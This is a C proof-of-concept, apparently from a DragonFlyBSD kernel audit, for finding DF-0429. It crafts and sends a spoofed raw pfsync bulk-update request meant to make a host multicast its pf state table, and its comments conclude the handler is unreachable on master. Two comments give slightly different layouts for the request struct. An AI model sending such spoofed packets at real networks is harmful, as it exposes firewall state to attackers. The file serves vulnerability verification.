โฌข DragonFlyBSD Kernel Audit
DF-0429 / inject_ureq.c
โ† back to finding โ†“ download raw
/*
 * inject_ureq.c โ€” DF-0429 demonstration trigger.
 *
 * DF-0429 claims an unauthenticated PFSYNC_ACT_UREQ packet with
 * id==0 && creatorid==0 (sys/net/pf/if_pfsync.c:916) forces the victim to
 * multicast its ENTIRE pf state table (pfsync_bulk_update, :1545-1613).
 *
 * This program crafts exactly that packet: a raw IP packet with ip_p=240
 * (IPPROTO_PFSYNC), ip_ttl=255, carrying a pfsync_header with
 * action=PFSYNC_ACT_UREQ and a pfsync_state_upd_req { id=0, creatorid=0 }.
 *
 * EXPECTED IF BUG WERE LIVE: victim's pfsync_bulkfail/pfsync_bulk_update
 * callouts fire; outgoing PFSYNC_ACT_UPD multicast packets stream out
 * carrying the whole state table; pfsyncs_ipackets increments.
 *
 * ACTUAL on DragonFlyBSD master DEV: the packet is received by the IP layer
 * but, because pfsync_input is NOT registered (dead code โ€” see VERDICT.md),
 * ip_protox[240] resolves to the RAW wildcard, the packet is counted as an
 * unknown/unsupported protocol (netstat -sp ip), pfsyncstats.pfsyncs_ipackets
 * stays 0, and NO bulk dump occurs. => handler unreachable, finding moot.
 *
 * Build: cc -o inject_ureq inject_ureq.c
 * Run  : ./inject_ureq <src-ip> <dst-ip>
 *        (default: 10.0.2.99 -> 224.0.0.240, the pfsync multicast group)
 *
 * Requires root (raw socket). The finding's premise is that NO source auth
 * is done, so we spoof an arbitrary on-link source.
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <err.h>

#include <net/pf/if_pfsync.h>

static u_int16_t
cksum(const void *data, int len)
{
	const u_int16_t *p = data;
	u_int32_t sum = 0;
	while (len > 1) { sum += *p++; len -= 2; }
	if (len) sum += *(const u_int8_t *)p;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (u_int16_t)~sum;
}

int
main(int argc, char **argv)
{
	int s, on = 1;
	struct sockaddr_in dst;
	const char *src = (argc > 1) ? argv[1] : "10.0.2.99";
	const char *grp = (argc > 2) ? argv[2] : "224.0.0.240";

	/*
	 * IP(20) + pfsync_header(28) + pfsync_state_upd_req.
	 * pfsync.h: struct pfsync_state_upd_req { u_int64_t id; u_int32_t creatorid; }
	 */
	struct {
		struct ip			ip;
		struct pfsync_header		ph;
		struct pfsync_state_upd_req	rup;
	} __packed pkt;

	memset(&pkt, 0, sizeof(pkt));

	pkt.ip.ip_v   = 4;
	pkt.ip.ip_hl  = sizeof(struct ip) >> 2;
	pkt.ip.ip_tos = 0;
	pkt.ip.ip_len = htons(sizeof(pkt));
	pkt.ip.ip_id  = htons(0x1234);
	pkt.ip.ip_off = 0;
	pkt.ip.ip_ttl = PFSYNC_DFLTTL;		/* 255 */
	pkt.ip.ip_p   = IPPROTO_PFSYNC;		/* 240 */
	pkt.ip.ip_sum = 0;
	inet_pton(AF_INET, src, &pkt.ip.ip_src);
	inet_pton(AF_INET, grp, &pkt.ip.ip_dst);
	pkt.ip.ip_sum = cksum(&pkt.ip, sizeof(pkt.ip));

	pkt.ph.version = PFSYNC_VERSION;		/* 4 */
	pkt.ph.af      = AF_INET;
	pkt.ph.action  = PFSYNC_ACT_UREQ;	/* 5 โ€” bulk update request */
	pkt.ph.count   = 1;
	memset(pkt.ph.pf_chksum, 0, sizeof(pkt.ph.pf_chksum));

	/* the exact trigger DF-0429 cites at if_pfsync.c:916: id==0 && creatorid==0.
	 * rup is { u_int32_t id[2]; u_int32_t creatorid; u_int32_t pad; } and the
	 * whole packet is memset to 0 above, so id={0,0} and creatorid=0 already. */

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) err(1, "socket(IPPROTO_RAW)");
	if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0)
		err(1, "IP_HDRINCL");

	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	inet_pton(AF_INET, grp, &dst.sin_addr);

	ssize_t n = sendto(s, &pkt, sizeof(pkt), 0,
	    (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) err(1, "sendto");

	printf("sent %zd bytes: %s -> %s  proto=240 ttl=255 act=UREQ "
	    "id=0 creatorid=0 (bulk-dump trigger)\n", n, src, grp);
	close(s);
	return 0;
}